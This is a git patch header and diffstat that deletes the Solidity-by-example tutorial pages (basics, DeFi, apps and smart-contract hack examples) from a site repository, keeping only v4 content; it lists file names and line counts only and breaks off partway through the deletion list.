From 1ca808580536238b41aec9ca0fad11f57880f1d8 Mon Sep 17 00:00:00 2001 From: saucepoint Date: Wed, 18 Oct 2023 16:11:33 -0400 Subject: [PATCH 1/3] remove all solidity-by-example; keeping only v4 content --- src/keywords.json | 749 ------------ src/nav.ts | 495 +------- src/pages/abi-decode/AbiDecode.sol | 29 - src/pages/abi-decode/index.html.ts | 48 - src/pages/abi-decode/index.md | 14 - src/pages/abi-decode/index.tsx | 29 - src/pages/abi-encode/AbiEncode.sol | 38 - src/pages/abi-encode/index.html.ts | 62 - src/pages/abi-encode/index.md | 10 - src/pages/abi-encode/index.tsx | 29 - .../app/assembly-bin-exp/AssemblyBinExp.sol | 56 - src/pages/app/assembly-bin-exp/index.html.ts | 74 -- src/pages/app/assembly-bin-exp/index.md | 12 - src/pages/app/assembly-bin-exp/index.tsx | 29 - .../BiDirectionalPaymentChannel.sol | 162 --- .../index.html.ts | 189 --- .../bi-directional-payment-channel/index.md | 14 - .../bi-directional-payment-channel/index.tsx | 29 - src/pages/app/create2/Create2.sol | 90 -- src/pages/app/create2/index.html.ts | 115 -- src/pages/app/create2/index.md | 12 - src/pages/app/create2/index.tsx | 29 - src/pages/app/crowd-fund/CrowdFund.sol | 126 -- src/pages/app/crowd-fund/index.html.ts | 150 --- src/pages/app/crowd-fund/index.md | 17 - src/pages/app/crowd-fund/index.tsx | 29 - src/pages/app/deploy-any-contract/Proxy.sol | 64 - .../app/deploy-any-contract/index.html.ts | 83 -- src/pages/app/deploy-any-contract/index.md | 14 - src/pages/app/deploy-any-contract/index.tsx | 29 - src/pages/app/dutch-auction/DutchAuction.sol | 52 - src/pages/app/dutch-auction/index.html.ts | 78 -- src/pages/app/dutch-auction/index.md | 20 - src/pages/app/dutch-auction/index.tsx | 29 - .../app/english-auction/EnglishAuction.sol | 85 -- src/pages/app/english-auction/index.html.ts | 115 -- src/pages/app/english-auction/index.md | 24 - src/pages/app/english-auction/index.tsx | 29 - src/pages/app/erc1155/ERC1155.sol | 272 ----- src/pages/app/erc1155/index.html.ts | 290 ----- src/pages/app/erc1155/index.md | 12 - src/pages/app/erc1155/index.tsx | 29 - src/pages/app/erc20/ERC20.sol | 50 - src/pages/app/erc20/IERC20.sol | 24 - src/pages/app/erc20/MyToken.sol | 14 - src/pages/app/erc20/TokenSwap.sol | 67 -- src/pages/app/erc20/index.html.ts | 206 ---- src/pages/app/erc20/index.md | 59 - src/pages/app/erc20/index.tsx | 29 - src/pages/app/erc721/ERC721.sol | 188 --- src/pages/app/erc721/index.html.ts | 206 ---- src/pages/app/erc721/index.md | 12 - src/pages/app/erc721/index.tsx | 29 - src/pages/app/ether-wallet/EtherWallet.sol | 21 - src/pages/app/ether-wallet/index.html.ts | 43 - src/pages/app/ether-wallet/index.md | 15 - src/pages/app/ether-wallet/index.tsx | 29 - .../gasless-token-transfer/ERC20Permit.sol | 223 ---- .../GaslessTokenTransfer.sol | 63 - .../app/gasless-token-transfer/index.html.ts | 317 ----- src/pages/app/gasless-token-transfer/index.md | 18 - .../app/gasless-token-transfer/index.tsx | 29 - .../app/iterable-mapping/IterableMapping.sol | 81 -- src/pages/app/iterable-mapping/index.html.ts | 99 -- src/pages/app/iterable-mapping/index.md | 12 - src/pages/app/iterable-mapping/index.tsx | 29 - src/pages/app/merkle-tree/MerkleTree.sol | 78 -- src/pages/app/merkle-tree/index.html.ts | 97 -- src/pages/app/merkle-tree/index.md | 14 - src/pages/app/merkle-tree/index.tsx | 29 - src/pages/app/minimal-proxy/MinimalProxy.sol | 71 -- src/pages/app/minimal-proxy/index.html.ts | 89 -- src/pages/app/minimal-proxy/index.md | 12 - src/pages/app/minimal-proxy/index.tsx | 29 - src/pages/app/multi-call/MultiCall.sol | 21 - src/pages/app/multi-call/TestMultiCall.sol | 12 - src/pages/app/multi-call/index.html.ts | 56 - src/pages/app/multi-call/index.md | 18 - src/pages/app/multi-call/index.tsx | 29 - .../multi-delegatecall/MultiDelegatecall.sol | 60 - .../app/multi-delegatecall/index.html.ts | 79 -- src/pages/app/multi-delegatecall/index.md | 12 - src/pages/app/multi-delegatecall/index.tsx | 29 - .../app/multi-sig-wallet/MultiSigWallet.sol | 173 --- .../app/multi-sig-wallet/TestContract.sol | 14 - src/pages/app/multi-sig-wallet/index.html.ts | 216 ---- src/pages/app/multi-sig-wallet/index.md | 24 - src/pages/app/multi-sig-wallet/index.tsx | 29 - .../app/simple-bytecode-contract/Factory.sol | 56 - .../simple-bytecode-contract/index.html.ts | 74 -- .../app/simple-bytecode-contract/index.md | 12 - .../app/simple-bytecode-contract/index.tsx | 29 - src/pages/app/time-lock/TimeLock.sol | 146 --- src/pages/app/time-lock/index.html.ts | 166 --- src/pages/app/time-lock/index.md | 15 - src/pages/app/time-lock/index.tsx | 29 - .../UniDirectionalPaymentChannel.sol | 63 - .../index.html.ts | 97 -- .../uni-directional-payment-channel/index.md | 21 - .../uni-directional-payment-channel/index.tsx | 29 - .../upgradeable-proxy/UpgradeableProxy.sol | 236 ---- src/pages/app/upgradeable-proxy/index.html.ts | 259 ----- src/pages/app/upgradeable-proxy/index.md | 17 - src/pages/app/upgradeable-proxy/index.tsx | 29 - src/pages/app/write-to-any-slot/Slot.sol | 32 - src/pages/app/write-to-any-slot/index.html.ts | 53 - src/pages/app/write-to-any-slot/index.md | 17 - src/pages/app/write-to-any-slot/index.tsx | 29 - src/pages/array/Array.sol | 49 - src/pages/array/ArrayRemoveByShifting.sol | 36 - src/pages/array/ArrayReplaceFromEnd.sol | 33 - src/pages/array/index.html.ts | 147 --- src/pages/array/index.md | 26 - src/pages/array/index.tsx | 29 - src/pages/assembly-error/AssemblyError.sol | 13 - src/pages/assembly-error/index.html.ts | 31 - src/pages/assembly-error/index.md | 12 - src/pages/assembly-error/index.tsx | 29 - src/pages/assembly-if/AssemblyIf.sol | 29 - src/pages/assembly-if/index.html.ts | 47 - src/pages/assembly-if/index.md | 12 - src/pages/assembly-if/index.tsx | 29 - src/pages/assembly-loop/AssemblyLoop.sol | 22 - src/pages/assembly-loop/index.html.ts | 40 - src/pages/assembly-loop/index.md | 12 - src/pages/assembly-loop/index.tsx | 29 - src/pages/assembly-math/AssemblyMath.sol | 40 - src/pages/assembly-math/index.html.ts | 58 - src/pages/assembly-math/index.md | 12 - src/pages/assembly-math/index.tsx | 29 - .../assembly-variable/AssemblyVariable.sol | 13 - src/pages/assembly-variable/index.html.ts | 31 - src/pages/assembly-variable/index.md | 12 - src/pages/assembly-variable/index.tsx | 29 - src/pages/bitwise/Bitwise.sol | 87 -- .../bitwise/MostSignificantBitAssembly.sol | 47 - .../bitwise/MostSignificantBitFunction.sol | 45 - src/pages/bitwise/index.html.ts | 206 ---- src/pages/bitwise/index.md | 22 - src/pages/bitwise/index.tsx | 29 - src/pages/call/Call.sol | 40 - src/pages/call/index.html.ts | 67 -- src/pages/call/index.md | 22 - src/pages/call/index.tsx | 29 - .../calling-contract/CallingContract.sol | 34 - src/pages/calling-contract/index.html.ts | 64 - src/pages/calling-contract/index.md | 18 - src/pages/calling-contract/index.tsx | 29 - src/pages/constants/Constants.sol | 8 - src/pages/constants/index.html.ts | 27 - src/pages/constants/index.md | 14 - src/pages/constants/index.tsx | 29 - src/pages/constructor/Constructor.sol | 53 - src/pages/constructor/index.html.ts | 73 -- src/pages/constructor/index.md | 14 - src/pages/constructor/index.tsx | 29 - src/pages/data-locations/DataLocations.sol | 38 - src/pages/data-locations/index.html.ts | 69 -- src/pages/data-locations/index.md | 17 - src/pages/data-locations/index.tsx | 29 - .../defi/chainlink-price-oracle/Chainlink.sol | 38 - .../defi/chainlink-price-oracle/index.html.ts | 56 - .../defi/chainlink-price-oracle/index.md | 12 - .../defi/chainlink-price-oracle/index.tsx | 29 - src/pages/defi/constant-product-amm/CPAMM.sol | 245 ---- .../defi/constant-product-amm/index.html.ts | 263 ----- src/pages/defi/constant-product-amm/index.md | 12 - src/pages/defi/constant-product-amm/index.tsx | 29 - src/pages/defi/constant-sum-amm/CSAMM.sol | 141 --- src/pages/defi/constant-sum-amm/index.html.ts | 160 --- src/pages/defi/constant-sum-amm/index.md | 14 - src/pages/defi/constant-sum-amm/index.tsx | 29 - .../DiscreteStakingRewards.sol | 90 -- .../discrete-staking-rewards/index.html.ts | 109 -- .../defi/discrete-staking-rewards/index.md | 14 - .../defi/discrete-staking-rewards/index.tsx | 29 - src/pages/defi/stable-swap-amm/StableSwap.sol | 446 ------- src/pages/defi/stable-swap-amm/index.html.ts | 464 -------- src/pages/defi/stable-swap-amm/index.md | 12 - src/pages/defi/stable-swap-amm/index.tsx | 29 - .../defi/staking-rewards/StakingRewards.sol | 146 --- src/pages/defi/staking-rewards/index.html.ts | 167 --- src/pages/defi/staking-rewards/index.md | 16 - src/pages/defi/staking-rewards/index.tsx | 29 - .../UniswapV2Liquidity.sol | 131 --- .../UniswapV2LiquidityTest.sol | 82 -- .../index.html.ts | 237 ---- .../uniswap-v2-add-remove-liquidity/index.md | 20 - .../uniswap-v2-add-remove-liquidity/index.tsx | 29 - .../UniswapV2FlashSwap.sol | 109 -- .../UniswapV2FlashSwapTest.sol | 30 - .../defi/uniswap-v2-flash-swap/index.html.ts | 173 --- src/pages/defi/uniswap-v2-flash-swap/index.md | 33 - .../defi/uniswap-v2-flash-swap/index.tsx | 29 - .../Optimal.sol | 146 --- .../index.html.ts | 173 --- .../index.md | 12 - .../index.tsx | 29 - .../defi/uniswap-v2/UniswapV2SwapExamples.sol | 172 --- .../uniswap-v2/UniswapV2SwapExamplesTest.sol | 95 -- src/pages/defi/uniswap-v2/index.html.ts | 291 ----- src/pages/defi/uniswap-v2/index.md | 20 - src/pages/defi/uniswap-v2/index.tsx | 29 - .../UniswapV3FlashSwap.sol | 158 --- .../UniswapV3FlashSwapTest.sol | 41 - .../defi/uniswap-v3-flash-swap/index.html.ts | 233 ---- src/pages/defi/uniswap-v3-flash-swap/index.md | 33 - .../defi/uniswap-v3-flash-swap/index.tsx | 29 - .../defi/uniswap-v3-flash/UniswapV3Flash.sol | 140 --- .../uniswap-v3-flash/UniswapV3FlashTest.sol | 33 - src/pages/defi/uniswap-v3-flash/index.html.ts | 207 ---- src/pages/defi/uniswap-v3-flash/index.md | 33 - src/pages/defi/uniswap-v3-flash/index.tsx | 29 - .../UniswapV3Liquidity.sol | 218 ---- .../UniswapV3LiquidityTest.sol | 74 -- .../defi/uniswap-v3-liquidity/index.html.ts | 321 ----- src/pages/defi/uniswap-v3-liquidity/index.md | 31 - src/pages/defi/uniswap-v3-liquidity/index.tsx | 29 - .../uniswap-v3-swap/UniswapV3SwapExamples.sol | 111 -- .../UniswapV3SwapExamplesTest.sol | 47 - src/pages/defi/uniswap-v3-swap/index.html.ts | 193 --- src/pages/defi/uniswap-v3-swap/index.md | 35 - src/pages/defi/uniswap-v3-swap/index.tsx | 29 - src/pages/defi/vault/Vault.sol | 82 -- src/pages/defi/vault/index.html.ts | 107 -- src/pages/defi/vault/index.md | 20 - src/pages/defi/vault/index.tsx | 29 - src/pages/delegatecall/Delegatecall.sol | 29 - src/pages/delegatecall/index.html.ts | 56 - src/pages/delegatecall/index.md | 16 - src/pages/delegatecall/index.tsx | 29 - src/pages/enum/Enum.sol | 42 - src/pages/enum/EnumDeclaration.sol | 11 - src/pages/enum/EnumImport.sol | 8 - src/pages/enum/index.html.ts | 91 -- src/pages/enum/index.md | 28 - src/pages/enum/index.tsx | 29 - src/pages/error/Account.sol | 34 - src/pages/error/Error.sol | 41 - src/pages/error/index.html.ts | 106 -- src/pages/error/index.md | 27 - src/pages/error/index.tsx | 29 - src/pages/ether-units/EtherUnits.sol | 12 - src/pages/ether-units/index.html.ts | 31 - src/pages/ether-units/index.md | 14 - src/pages/ether-units/index.tsx | 29 - src/pages/events/Events.sol | 16 - src/pages/events/index.html.ts | 38 - src/pages/events/index.md | 15 - src/pages/events/index.tsx | 29 - src/pages/fallback/Fallback.sol | 34 - src/pages/fallback/FallbackInputOutput.sol | 43 - src/pages/fallback/index.html.ts | 115 -- src/pages/fallback/index.md | 23 - src/pages/fallback/index.tsx | 29 - src/pages/first-app/Counter.sol | 22 - src/pages/first-app/index.html.ts | 47 - src/pages/first-app/index.md | 12 - src/pages/first-app/index.tsx | 29 - .../function-modifier/FunctionModifier.sol | 55 - src/pages/function-modifier/index.html.ts | 79 -- src/pages/function-modifier/index.md | 18 - src/pages/function-modifier/index.tsx | 29 - .../function-selector/FunctionSelector.sol | 14 - src/pages/function-selector/index.html.ts | 38 - src/pages/function-selector/index.md | 26 - src/pages/function-selector/index.tsx | 29 - src/pages/function/Function.sol | 70 -- src/pages/function/index.html.ts | 89 -- src/pages/function/index.md | 14 - src/pages/function/index.tsx | 29 - src/pages/gas-golf/GasGolf.sol | 46 - src/pages/gas-golf/index.html.ts | 71 -- src/pages/gas-golf/index.md | 18 - src/pages/gas-golf/index.tsx | 29 - src/pages/gas/Gas.sol | 17 - src/pages/gas/index.html.ts | 49 - src/pages/gas/index.md | 29 - src/pages/gas/index.tsx | 29 - .../hacks/accessing-private-data/Vault.sol | 106 -- .../accessing-private-data/index.html.ts | 139 --- .../hacks/accessing-private-data/index.md | 20 - .../hacks/accessing-private-data/index.tsx | 29 - .../BlockTimestamp.sol | 35 - .../index.html.ts | 63 - .../block-timestamp-manipulation/index.md | 21 - .../block-timestamp-manipulation/index.tsx | 29 - .../hacks/contract-size/ContractSize.sol | 45 - src/pages/hacks/contract-size/index.html.ts | 73 -- src/pages/hacks/contract-size/index.md | 16 - src/pages/hacks/contract-size/index.tsx | 29 - .../hacks/delegatecall/Delegatecall_1.sol | 60 - .../hacks/delegatecall/Delegatecall_2.sol | 71 -- src/pages/hacks/delegatecall/index.html.ts | 167 --- src/pages/hacks/delegatecall/index.md | 33 - src/pages/hacks/delegatecall/index.tsx | 29 - .../denial-of-service/DenialOfService.sol | 58 - .../PreventDenialOfService.sol | 27 - .../hacks/denial-of-service/index.html.ts | 112 -- src/pages/hacks/denial-of-service/index.md | 26 - src/pages/hacks/denial-of-service/index.tsx | 29 - .../TornadoHack.sol | 108 -- .../index.html.ts | 142 --- .../index.md | 23 - .../index.tsx | 29 - .../hacks/front-running/FrontRunning.sol | 41 - .../front-running/PreventFrontRunning.sol | 124 -- src/pages/hacks/front-running/index.html.ts | 198 ---- src/pages/hacks/front-running/index.md | 29 - src/pages/hacks/front-running/index.tsx | 29 - .../ExternalContract.sol | 52 - .../index.html.ts | 94 -- .../index.md | 31 - .../index.tsx | 29 - src/pages/hacks/honeypot/HoneyPot.sol | 94 -- src/pages/hacks/honeypot/index.html.ts | 115 -- src/pages/hacks/honeypot/index.md | 18 - src/pages/hacks/honeypot/index.tsx | 29 - src/pages/hacks/overflow/Overflow.sol | 67 -- src/pages/hacks/overflow/index.html.ts | 97 -- src/pages/hacks/overflow/index.md | 26 - src/pages/hacks/overflow/index.tsx | 29 - .../phishing-with-tx-origin/TxOrigin.sol | 50 - .../phishing-with-tx-origin/index.html.ts | 80 -- .../hacks/phishing-with-tx-origin/index.md | 32 - .../hacks/phishing-with-tx-origin/index.tsx | 29 - src/pages/hacks/randomness/Randomness.sol | 57 - src/pages/hacks/randomness/index.html.ts | 90 -- src/pages/hacks/randomness/index.md | 18 - src/pages/hacks/randomness/index.tsx | 29 - src/pages/hacks/re-entrancy/ReEntrancy.sol | 78 -- .../hacks/re-entrancy/ReEntrancyGuard.sol | 13 - src/pages/hacks/re-entrancy/index.html.ts | 121 -- src/pages/hacks/re-entrancy/index.md | 27 - src/pages/hacks/re-entrancy/index.tsx | 29 - src/pages/hacks/self-destruct/ForceEther.sol | 58 - .../hacks/self-destruct/PreventForceEther.sol | 26 - src/pages/hacks/self-destruct/index.html.ts | 114 -- src/pages/hacks/self-destruct/index.md | 28 - src/pages/hacks/self-destruct/index.tsx | 29 - .../signature-replay/PreventSigReplay.sol | 78 -- .../hacks/signature-replay/SigReplay.sol | 46 - .../hacks/signature-replay/index.html.ts | 158 --- src/pages/hacks/signature-replay/index.md | 31 - src/pages/hacks/signature-replay/index.tsx | 29 - src/pages/hashing/Keccak256.sol | 34 - src/pages/hashing/index.html.ts | 65 -- src/pages/hashing/index.md | 18 - src/pages/hashing/index.tsx | 29 - src/pages/hello-world/HelloWorld.sol | 7 - src/pages/hello-world/index.html.ts | 25 - src/pages/hello-world/index.md | 12 - src/pages/hello-world/index.tsx | 29 - src/pages/if-else/IfElse.sol | 25 - src/pages/if-else/index.html.ts | 43 - src/pages/if-else/index.md | 12 - src/pages/if-else/index.tsx | 29 - src/pages/immutable/Immutable.sol | 13 - src/pages/immutable/index.html.ts | 39 - src/pages/immutable/index.md | 12 - src/pages/immutable/index.tsx | 29 - src/pages/import/Foo.sol | 17 - src/pages/import/Import.sol | 18 - src/pages/import/index.html.ts | 71 -- src/pages/import/index.md | 42 - src/pages/import/index.tsx | 29 - src/pages/index.tsx | 4 +- src/pages/inheritance/Inheritance.sol | 61 - src/pages/inheritance/index.html.ts | 91 -- src/pages/inheritance/index.md | 20 - src/pages/inheritance/index.tsx | 29 - src/pages/interface/Interface.sol | 53 - src/pages/interface/index.html.ts | 79 -- src/pages/interface/index.md | 20 - src/pages/interface/index.tsx | 29 - src/pages/library/Library.sol | 53 - src/pages/library/index.html.ts | 75 -- src/pages/library/index.md | 17 - src/pages/library/index.tsx | 29 - src/pages/loop/Loop.sol | 24 - src/pages/loop/index.html.ts | 44 - src/pages/loop/index.md | 16 - src/pages/loop/index.tsx | 29 - src/pages/mapping/Mapping.sol | 42 - src/pages/mapping/index.html.ts | 63 - src/pages/mapping/index.md | 18 - src/pages/mapping/index.tsx | 29 - src/pages/new-contract/NewContract.sol | 54 - src/pages/new-contract/index.html.ts | 82 -- src/pages/new-contract/index.md | 12 - src/pages/new-contract/index.tsx | 29 - src/pages/payable/Payable.sol | 38 - src/pages/payable/index.html.ts | 56 - src/pages/payable/index.md | 12 - src/pages/payable/index.tsx | 29 - src/pages/primitives/Primitives.sol | 55 - src/pages/primitives/index.html.ts | 93 -- src/pages/primitives/index.md | 32 - src/pages/primitives/index.tsx | 29 - src/pages/sending-ether/SendingEther.sol | 51 - src/pages/sending-ether/index.html.ts | 102 -- src/pages/sending-ether/index.md | 50 - src/pages/sending-ether/index.tsx | 29 - .../Shadow.sol | 25 - .../index.html.ts | 52 - .../index.md | 15 - .../index.tsx | 29 - src/pages/signature/Signature.sol | 123 -- src/pages/signature/index.html.ts | 149 --- src/pages/signature/index.md | 14 - src/pages/signature/index.tsx | 29 - src/pages/state-variables/SimpleStorage.sol | 17 - src/pages/state-variables/index.html.ts | 44 - src/pages/state-variables/index.md | 14 - src/pages/state-variables/index.tsx | 29 - src/pages/structs/StructDeclaration.sol | 8 - src/pages/structs/StructImport.sol | 9 - src/pages/structs/Structs.sol | 47 - src/pages/structs/index.html.ts | 103 -- src/pages/structs/index.md | 30 - src/pages/structs/index.tsx | 29 - src/pages/super/Super.sol | 66 -- src/pages/super/index.html.ts | 92 -- src/pages/super/index.md | 14 - src/pages/super/index.tsx | 29 - .../echidna/EchidnaTestTimeAndCaller.sol | 57 - src/pages/tests/echidna/TestEchidna.sol | 62 - src/pages/tests/echidna/index.html.ts | 158 --- src/pages/tests/echidna/index.md | 37 - src/pages/tests/echidna/index.tsx | 29 - src/pages/try-catch/TryCatch.sol | 58 - src/pages/try-catch/index.html.ts | 76 -- src/pages/try-catch/index.md | 12 - src/pages/try-catch/index.tsx | 29 - src/pages/unchecked-math/UncheckedMath.sol | 34 - src/pages/unchecked-math/index.html.ts | 53 - src/pages/unchecked-math/index.md | 14 - src/pages/unchecked-math/index.tsx | 29 - src/pages/variables/Variables.sol | 17 - src/pages/variables/index.html.ts | 48 - src/pages/variables/index.md | 20 - src/pages/variables/index.tsx | 29 - .../ViewAndPureFunctions.sol | 16 - .../view-and-pure-functions/index.html.ts | 36 - src/pages/view-and-pure-functions/index.md | 16 - src/pages/view-and-pure-functions/index.tsx | 29 - src/pages/visibility/Visibility.sol | 66 -- src/pages/visibility/index.html.ts | 101 -- src/pages/visibility/index.md | 21 - src/pages/visibility/index.tsx | 29 - src/routes.tsx | 520 --------- src/search.json | 1033 +---------------- 452 files changed, 37 insertions(+), 28491 deletions(-) delete mode 100644 src/pages/abi-decode/AbiDecode.sol delete mode 100644 src/pages/abi-decode/index.html.ts delete mode 100644 src/pages/abi-decode/index.md delete mode 100644 src/pages/abi-decode/index.tsx delete mode 100644 src/pages/abi-encode/AbiEncode.sol delete mode 100644 src/pages/abi-encode/index.html.ts delete mode 100644 src/pages/abi-encode/index.md delete mode 100644 src/pages/abi-encode/index.tsx delete mode 100644 src/pages/app/assembly-bin-exp/AssemblyBinExp.sol delete mode 100644 src/pages/app/assembly-bin-exp/index.html.ts delete mode 100644 src/pages/app/assembly-bin-exp/index.md delete mode 100644 src/pages/app/assembly-bin-exp/index.tsx delete mode 100644 src/pages/app/bi-directional-payment-channel/BiDirectionalPaymentChannel.sol delete mode 100644 src/pages/app/bi-directional-payment-channel/index.html.ts delete mode 100644 src/pages/app/bi-directional-payment-channel/index.md delete mode 100644 src/pages/app/bi-directional-payment-channel/index.tsx delete mode 100644 src/pages/app/create2/Create2.sol delete mode 100644 src/pages/app/create2/index.html.ts delete mode 100644 src/pages/app/create2/index.md delete mode 100644 src/pages/app/create2/index.tsx delete mode 100644 src/pages/app/crowd-fund/CrowdFund.sol delete mode 100644 src/pages/app/crowd-fund/index.html.ts delete mode 100644 src/pages/app/crowd-fund/index.md delete mode 100644 src/pages/app/crowd-fund/index.tsx delete mode 100644 src/pages/app/deploy-any-contract/Proxy.sol delete mode 100644 src/pages/app/deploy-any-contract/index.html.ts delete mode 100644 src/pages/app/deploy-any-contract/index.md delete mode 100644 src/pages/app/deploy-any-contract/index.tsx delete mode 100644 src/pages/app/dutch-auction/DutchAuction.sol delete mode 100644 src/pages/app/dutch-auction/index.html.ts delete mode 100644 src/pages/app/dutch-auction/index.md delete mode 100644 src/pages/app/dutch-auction/index.tsx delete mode 100644 src/pages/app/english-auction/EnglishAuction.sol delete mode 100644 src/pages/app/english-auction/index.html.ts delete mode 100644 src/pages/app/english-auction/index.md delete mode 100644 src/pages/app/english-auction/index.tsx delete mode 100644 src/pages/app/erc1155/ERC1155.sol delete mode 100644 src/pages/app/erc1155/index.html.ts delete mode 100644 src/pages/app/erc1155/index.md delete mode 100644 src/pages/app/erc1155/index.tsx delete mode 100644 src/pages/app/erc20/ERC20.sol delete mode 100644 src/pages/app/erc20/IERC20.sol delete mode 100644 src/pages/app/erc20/MyToken.sol delete mode 100644 src/pages/app/erc20/TokenSwap.sol delete mode 100644 src/pages/app/erc20/index.html.ts delete mode 100644 src/pages/app/erc20/index.md delete mode 100644 src/pages/app/erc20/index.tsx delete mode 100644 src/pages/app/erc721/ERC721.sol delete mode 100644 src/pages/app/erc721/index.html.ts delete mode 100644 src/pages/app/erc721/index.md delete mode 100644 src/pages/app/erc721/index.tsx delete mode 100644 src/pages/app/ether-wallet/EtherWallet.sol delete mode 100644 src/pages/app/ether-wallet/index.html.ts delete mode 100644 src/pages/app/ether-wallet/index.md delete mode 100644 src/pages/app/ether-wallet/index.tsx delete mode 100644 src/pages/app/gasless-token-transfer/ERC20Permit.sol delete mode 100644 src/pages/app/gasless-token-transfer/GaslessTokenTransfer.sol delete mode 100644 src/pages/app/gasless-token-transfer/index.html.ts delete mode 100644 src/pages/app/gasless-token-transfer/index.md delete mode 100644 src/pages/app/gasless-token-transfer/index.tsx delete mode 100644 src/pages/app/iterable-mapping/IterableMapping.sol delete mode 100644 src/pages/app/iterable-mapping/index.html.ts delete mode 100644 src/pages/app/iterable-mapping/index.md delete mode 100644 src/pages/app/iterable-mapping/index.tsx delete mode 100644 src/pages/app/merkle-tree/MerkleTree.sol delete mode 100644 src/pages/app/merkle-tree/index.html.ts delete mode 100644 src/pages/app/merkle-tree/index.md delete mode 100644 src/pages/app/merkle-tree/index.tsx delete mode 100644 src/pages/app/minimal-proxy/MinimalProxy.sol delete mode 100644 src/pages/app/minimal-proxy/index.html.ts delete mode 100644 src/pages/app/minimal-proxy/index.md delete mode 100644 src/pages/app/minimal-proxy/index.tsx delete mode 100644 src/pages/app/multi-call/MultiCall.sol delete mode 100644 src/pages/app/multi-call/TestMultiCall.sol delete mode 100644 src/pages/app/multi-call/index.html.ts delete mode 100644 src/pages/app/multi-call/index.md delete mode 100644 src/pages/app/multi-call/index.tsx delete mode 100644 src/pages/app/multi-delegatecall/MultiDelegatecall.sol delete mode 100644 src/pages/app/multi-delegatecall/index.html.ts delete mode 100644 src/pages/app/multi-delegatecall/index.md delete mode 100644 src/pages/app/multi-delegatecall/index.tsx delete mode 100644 src/pages/app/multi-sig-wallet/MultiSigWallet.sol delete mode 100644 src/pages/app/multi-sig-wallet/TestContract.sol delete mode 100644 src/pages/app/multi-sig-wallet/index.html.ts delete mode 100644 src/pages/app/multi-sig-wallet/index.md delete mode 100644 src/pages/app/multi-sig-wallet/index.tsx delete mode 100644 src/pages/app/simple-bytecode-contract/Factory.sol delete mode 100644 src/pages/app/simple-bytecode-contract/index.html.ts delete mode 100644 src/pages/app/simple-bytecode-contract/index.md delete mode 100644 src/pages/app/simple-bytecode-contract/index.tsx delete mode 100644 src/pages/app/time-lock/TimeLock.sol delete mode 100644 src/pages/app/time-lock/index.html.ts delete mode 100644 src/pages/app/time-lock/index.md delete mode 100644 src/pages/app/time-lock/index.tsx delete mode 100644 src/pages/app/uni-directional-payment-channel/UniDirectionalPaymentChannel.sol delete mode 100644 src/pages/app/uni-directional-payment-channel/index.html.ts delete mode 100644 src/pages/app/uni-directional-payment-channel/index.md delete mode 100644 src/pages/app/uni-directional-payment-channel/index.tsx delete mode 100644 src/pages/app/upgradeable-proxy/UpgradeableProxy.sol delete mode 100644 src/pages/app/upgradeable-proxy/index.html.ts delete mode 100644 src/pages/app/upgradeable-proxy/index.md delete mode 100644 src/pages/app/upgradeable-proxy/index.tsx delete mode 100644 src/pages/app/write-to-any-slot/Slot.sol delete mode 100644 src/pages/app/write-to-any-slot/index.html.ts delete mode 100644 src/pages/app/write-to-any-slot/index.md delete mode 100644 src/pages/app/write-to-any-slot/index.tsx delete mode 100644 src/pages/array/Array.sol delete mode 100644 src/pages/array/ArrayRemoveByShifting.sol delete mode 100644 src/pages/array/ArrayReplaceFromEnd.sol delete mode 100644 src/pages/array/index.html.ts delete mode 100644 src/pages/array/index.md delete mode 100644 src/pages/array/index.tsx delete mode 100644 src/pages/assembly-error/AssemblyError.sol delete mode 100644 src/pages/assembly-error/index.html.ts delete mode 100644 src/pages/assembly-error/index.md delete mode 100644 src/pages/assembly-error/index.tsx delete mode 100644 src/pages/assembly-if/AssemblyIf.sol delete mode 100644 src/pages/assembly-if/index.html.ts delete mode 100644 src/pages/assembly-if/index.md delete mode 100644 src/pages/assembly-if/index.tsx delete mode 100644 src/pages/assembly-loop/AssemblyLoop.sol delete mode 100644 src/pages/assembly-loop/index.html.ts delete mode 100644 src/pages/assembly-loop/index.md delete mode 100644 src/pages/assembly-loop/index.tsx delete mode 100644 src/pages/assembly-math/AssemblyMath.sol delete mode 100644 src/pages/assembly-math/index.html.ts delete mode 100644 src/pages/assembly-math/index.md delete mode 100644 src/pages/assembly-math/index.tsx delete mode 100644 src/pages/assembly-variable/AssemblyVariable.sol delete mode 100644 src/pages/assembly-variable/index.html.ts delete mode 100644 src/pages/assembly-variable/index.md delete mode 100644 src/pages/assembly-variable/index.tsx delete mode 100644 src/pages/bitwise/Bitwise.sol delete mode 100644 src/pages/bitwise/MostSignificantBitAssembly.sol delete mode 100644 src/pages/bitwise/MostSignificantBitFunction.sol delete mode 100644 src/pages/bitwise/index.html.ts delete mode 100644 src/pages/bitwise/index.md delete mode 100644 src/pages/bitwise/index.tsx delete mode 100644 src/pages/call/Call.sol delete mode 100644 src/pages/call/index.html.ts delete mode 100644 src/pages/call/index.md delete mode 100644 src/pages/call/index.tsx delete mode 100644 src/pages/calling-contract/CallingContract.sol delete mode 100644 src/pages/calling-contract/index.html.ts delete mode 100644 src/pages/calling-contract/index.md delete mode 100644 src/pages/calling-contract/index.tsx delete mode 100644 src/pages/constants/Constants.sol delete mode 100644 src/pages/constants/index.html.ts delete mode 100644 src/pages/constants/index.md delete mode 100644 src/pages/constants/index.tsx delete mode 100644 src/pages/constructor/Constructor.sol delete mode 100644 src/pages/constructor/index.html.ts delete mode 100644 src/pages/constructor/index.md delete mode 100644 src/pages/constructor/index.tsx delete mode 100644 src/pages/data-locations/DataLocations.sol delete mode 100644 src/pages/data-locations/index.html.ts delete mode 100644 src/pages/data-locations/index.md delete mode 100644 src/pages/data-locations/index.tsx delete mode 100644 src/pages/defi/chainlink-price-oracle/Chainlink.sol delete mode 100644 src/pages/defi/chainlink-price-oracle/index.html.ts delete mode 100644 src/pages/defi/chainlink-price-oracle/index.md delete mode 100644 src/pages/defi/chainlink-price-oracle/index.tsx delete mode 100644 src/pages/defi/constant-product-amm/CPAMM.sol delete mode 100644 src/pages/defi/constant-product-amm/index.html.ts delete mode 100644 src/pages/defi/constant-product-amm/index.md delete mode 100644 src/pages/defi/constant-product-amm/index.tsx delete mode 100644 src/pages/defi/constant-sum-amm/CSAMM.sol delete mode 100644 src/pages/defi/constant-sum-amm/index.html.ts delete mode 100644 src/pages/defi/constant-sum-amm/index.md delete mode 100644 src/pages/defi/constant-sum-amm/index.tsx delete mode 100644 src/pages/defi/discrete-staking-rewards/DiscreteStakingRewards.sol delete mode 100644 src/pages/defi/discrete-staking-rewards/index.html.ts delete mode 100644 src/pages/defi/discrete-staking-rewards/index.md delete mode 100644 src/pages/defi/discrete-staking-rewards/index.tsx delete mode 100644 